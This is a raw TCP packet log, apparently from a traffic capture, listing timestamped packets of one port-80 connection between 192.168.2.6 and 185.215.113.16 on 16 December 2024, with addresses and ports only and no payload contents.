Dec 16, 2024 15:38:27.481650114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.481662035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.481688976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.482780933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.482856035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.482863903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.482913971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.482944965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483141899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483184099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483190060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483197927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.483222008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.483398914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483949900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483974934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.483985901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.484021902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.484081030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.484366894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.484705925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.484724998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.484736919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.484771013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.484852076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.485481977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.485501051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.485507965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.485529900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.485548973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.485593081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.485641003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.486279964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.486298084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.486309052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.486346960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.486432076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487049103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487087011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487097979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487131119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.487193108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487854004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487889051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487895966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.487901926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.487936020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.487982988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.488373041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.488698959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.488770008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.488776922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.488830090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.488842010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.489442110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.489504099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.489543915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.489557981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.489564896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.489602089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.490225077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.490269899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.490281105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.490319014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.490379095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491050005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491120100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.491132975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491139889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491190910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.491266966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491791010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491851091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.491868019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491873980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.491914034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.491940975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.492368937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.493540049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493597031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493603945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493650913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.493721008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493742943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493753910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.493782997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.493798018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.665329933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665353060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665371895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665432930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.665482044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665535927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665554047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.665577888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665585995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665627003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.665627956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.665674925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.666245937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.666373014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.666431904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.666515112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.666529894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.666574955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.667043924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667078018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667088985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667135954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.667383909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667500973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.667829037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667876959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667884111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667924881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.667929888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.667987108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.668404102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.668438911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.668445110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.668498039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.668625116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.668672085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.669229031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.669244051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.669250011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.669301987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.669373989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.669425011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.669987917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670037031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670043945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670092106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.670170069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670213938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.670794964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670845032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670861006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670896053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.670928001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.670980930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.671590090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.671675920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.671683073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.671735048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.671766996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.671827078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.672405005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.672473907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.672481060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.672528028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.672590971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.672646046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.673176050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.673216105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.673228025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.673257113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.673335075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.673388958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.673974991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674067974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674074888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674117088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.674154997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674232006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.674736023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674798012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674809933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674845934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.674935102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.674984932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.675534964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.675553083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.675564051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.675602913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.675697088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.675745010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.676362991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.676417112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.676429033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.676465034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.676498890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.676565886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.677133083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677206039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677217960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677242994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677256107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.677283049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.677922010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677967072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.677974939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.678013086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.678086996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.678133965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.678704023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.678766966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.678780079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.678818941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.678898096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.679064035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.679498911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.679559946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.679567099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.679625034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.679647923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.679873943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.680326939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.680387974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.680394888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.680442095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.680548906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.680622101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.681077957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.681113005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.681126118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.681174040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.681210995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.681257963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.682002068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682080030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682090998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682127953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.682190895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682251930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.682749987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682800055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682811022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682854891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.682924986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.682970047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.683526993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.722971916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.935460091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.055233955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372222900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372262955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372313976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.372430086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372534990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372546911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372581959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.372678041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372685909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372698069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.372781038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.373354912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.373436928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.373446941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.373477936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.373549938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.373614073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.374181986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.426105022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.497625113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.497647047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.497661114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.497729063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.497783899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.497958899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498016119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498028040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498080015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.498117924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498184919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.498756886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498825073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498832941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.498879910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.498955965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.499062061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.499540091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.499634027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.499640942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.499687910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.499753952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.499835014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.500329971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.500377893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.500385046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.500427008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.500488997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.500560999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.501137018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.551084995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.564481974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.564517975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.564582109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.622251987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622277021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622317076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622368097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.622400045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622504950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622518063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.622536898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.622556925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.623136044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623198986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623209953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623234034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.623296976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623330116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.623852968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623924971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623934984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.623979092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.624416113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.624461889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.624480963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.624491930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.624526978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.624592066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.625428915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.625509977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.625520945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.625557899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.625560999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.625574112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.626214981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626251936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.626322985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626395941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626406908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626444101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.626827955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626867056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.626914978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.626986980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.627070904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.627113104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.627624035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.627664089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.627721071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.627732038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.627758026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:28.627779007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.628854036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.628932953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:28.628962994 CET	80	49747	185.215.113.16	192.168.2.6
